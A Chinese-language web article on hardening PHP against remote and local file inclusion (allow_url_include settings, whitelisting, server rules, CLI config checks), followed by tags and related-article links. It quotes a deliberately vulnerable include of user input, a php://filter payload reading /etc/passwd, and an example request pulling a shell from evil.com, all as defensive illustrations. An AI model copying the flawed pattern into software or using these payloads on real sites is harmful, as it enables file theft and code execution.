php远程文件包含怎禁改_php远程包含禁用修改法【防护】
发布时间 - 2026-02-02 00:00:00 点击率:次应将 php.ini 中 allow_url_include 设为 Off 并重启 Web 服务,若无权限可改 .htaccess 或 user.ini;同时需代码层白名单校验、禁用 php:// 等危险协议,且须检查 CLI 与 Web SAPI 配置是否一致。
php.ini 里怎么关掉 allow_url_include
远程文件包含漏洞(RFI)的核心前提是 PHP 允许从 URL 加载并执行代码,而控制开关就是 allow_url_include。它默认是 Off,但有些老旧环境或一键包(如某些旧版 WAMP/XAMPP)会误开为 On。
直接编辑 php.ini,找到这一行:
allow_url_include = On
改成:
allow_url_include = Off
注意:改完必须重启 Web 服务(apache 或 php-fpm),否则不生效。用 phpinfo() 页面确认当前值是否为 Off,别只信配置文件内容。
- 如果找不到该配置项,就手动加一行 —— 它不是必选项,没写等于默认
Off,但显式写出来更稳妥 - 共享主机用户可能无权改
php.ini,此时可用.htaccess(Apache)或user.ini(PHP 5.3+)覆盖:php_flag allow_url_include off -
allow_url_fopen = Off可顺带关掉——虽然它不影响include,但能阻止很多基于file_get_contents()、fopen()的 RFI 利用链
为什么 include/require 拼接用户输入就是高危
哪怕 allow_url_include 是 Off,只要代码里把用户可控参数(比如 $_GET['page'])直接塞进 include,仍可能被绕过或引发 LFI(本地文件包含),进而读取敏感文件甚至配合日志/临时文件 getshell。
典型危险写法:
include $_GET['page'] . '.php';
攻击者传 ?page=php://filter/read=convert.base64-encode/resource=/etc/passwd 就能读文件(即使 allow_url_include=Off,php:// 流仍可用)。
- 永远不要信任用户输入作为文件路径的一部分
- 用白名单硬编码可包含的模块名:
$pages = ['home', 'about']; if (in_array($_GET['page'], $pages)) { include $_GET['page'] . '.php'; } - 若必须动态加载,用
basename()剥离路径干扰:include basename($_GET['page']) . '.php';,但仍有风险,白名单仍是首选

Web 服务器层能不能挡 RFI 请求
不能靠 Nginx/Apache 的请求过滤“拦住 RFI”,因为 RFI 是 PHP 解析阶段的行为,HTTP 层看到的只是普通 GET 请求(比如 ?file=http://evil.com/shell.txt)。规则写再严,只要 PHP 执行了那行 include,就晚了。
但可以做两件事降低危害:
- Nginx 中禁用
.php文件里的 URL 协议解析(仅限特定目录):location ~ \.php$ { ... fastcgi_param PHP_VALUE "allow_url_include=Off"; } - Apache 的
mod_security可拦截含http://、https://、php://的include参数,但属于事后补救,且规则易被绕过(如双写、编码) - 真正有效的防护在代码逻辑和 PHP 配置,不在 Web 服务器
检查线上环境有没有漏掉的 allow_url_include
很多运维会改主 php.ini,却忘了 CLI 模式或不同 vhost 下的 php_admin_value 覆盖。一个 PHP 进程可能加载多个配置文件。
最可靠方式是运行:
php -r "echo ini_get('allow_url_include');"
以及:
php --ini
看实际生效的是哪个 php.ini。CLI 和 Web SAPI 的配置常不同,尤其部署队列任务或定时脚本时,容易忽略 CLI 的 allow_url_include 状态。
另外,Docker 容器、宝塔面板、cPanel 的 PHP 插件管理界面,都可能单独覆盖这个值,得逐个确认。
别只查一次;上线前、升版后、换 PHP 版本时,都值得再跑一遍 ini_get()。
# php
# docker
# apache
# 宝塔面板
# nginx
# 编码
# access
# 配置文件
# 为什么
# Resource
# if
# include
# require
# fopen
# Filter
# location
# http
# https
# 加载
# 重启
# 的是
# 就能
# 多个
# 找不到
# 设为
# 一遍
# 仍是
相关栏目:
【
网站优化151355 】
【
网络推广146373 】
【
网络技术251813 】
【
AI营销90571 】
相关推荐:
在centOS 7安装mysql 5.7的详细教程
Windows Hello人脸识别突然无法使用
手机钓鱼网站怎么制作视频,怎样拦截钓鱼网站。怎么办?
详解免费开源的.NET多类型文件解压缩组件SharpZipLib(.NET组件介绍之七)
Android okhttputils现在进度显示实例代码
韩国代理服务器如何选?解析IP设置技巧与跨境访问优化指南
高性能网站服务器配置指南:安全稳定与高效建站核心方案
网站制作免费,什么网站能看正片电影?
Laravel模型事件有哪些_Laravel Model Event生命周期详解
如何在不使用负向后查找的情况下匹配特定条件前的换行符
如何在Tomcat中配置并部署网站项目?
如何打造高效商业网站?建站目的决定转化率
Laravel如何使用Contracts(契约)进行编程_Laravel契约接口与依赖反转
Laravel如何正确地在控制器和模型之间分配逻辑_Laravel代码职责分离与架构建议
为什么php本地部署后css不生效_静态资源加载失败修复技巧【技巧】
标准网站视频模板制作软件,现在有哪个网站的视频编辑素材最齐全的,背景音乐、音效等?
香港代理服务器配置指南:高匿IP选择、跨境加速与SEO优化技巧
详解Nginx + Tomcat 反向代理 如何在高效的在一台服务器部署多个站点
微信公众帐号开发教程之图文消息全攻略
图册素材网站设计制作软件,图册的导出方式有几种?
Laravel中间件起什么作用_Laravel Middleware请求生命周期与自定义详解
Laravel API资源类怎么用_Laravel API Resource数据转换
活动邀请函制作网站有哪些,活动邀请函文案?
Laravel如何实现密码重置功能_Laravel密码找回与重置流程
Laravel如何使用Guzzle调用外部接口_Laravel发起HTTP请求与JSON数据解析【详解】
JavaScript如何实现倒计时_时间函数如何精确控制
北京网站制作公司哪家好一点,北京租房网站有哪些?
如何快速重置建站主机并恢复默认配置?
如何在建站之星绑定自定义域名?
如何用腾讯建站主机快速创建免费网站?
如何将凡科建站内容保存为本地文件?
Python制作简易注册登录系统
如何使用 jQuery 正确渲染 Instagram 风格的标签列表
美食网站链接制作教程视频,哪个教做美食的网站比较专业点?
北京网站制作的公司有哪些,北京白云观官方网站?
Laravel怎么进行浏览器测试_Laravel Dusk自动化浏览器测试入门
如何在云服务器上快速搭建个人网站?
Android 常见的图片加载框架详细介绍
Laravel如何使用withoutEvents方法临时禁用模型事件
Android GridView 滑动条设置一直显示状态(推荐)
MySQL查询结果复制到新表的方法(更新、插入)
Laravel DB事务怎么使用_Laravel数据库事务回滚操作
软银砸40亿美元收购DigitalBridge 强化AI资料中心布局
Laravel如何升级到最新版本?(升级指南和步骤)
公司门户网站制作公司有哪些,怎样使用wordpress制作一个企业网站?
如何快速选择适合个人网站的云服务器配置?
Laravel如何自定义分页视图?(Pagination示例)
Win11怎么关闭资讯和兴趣_Windows11任务栏设置隐藏小组件
在线教育网站制作平台,山西立德教育官网?
标题:Vue + Vuex + JWT 身份认证的正确实践与常见误区解析

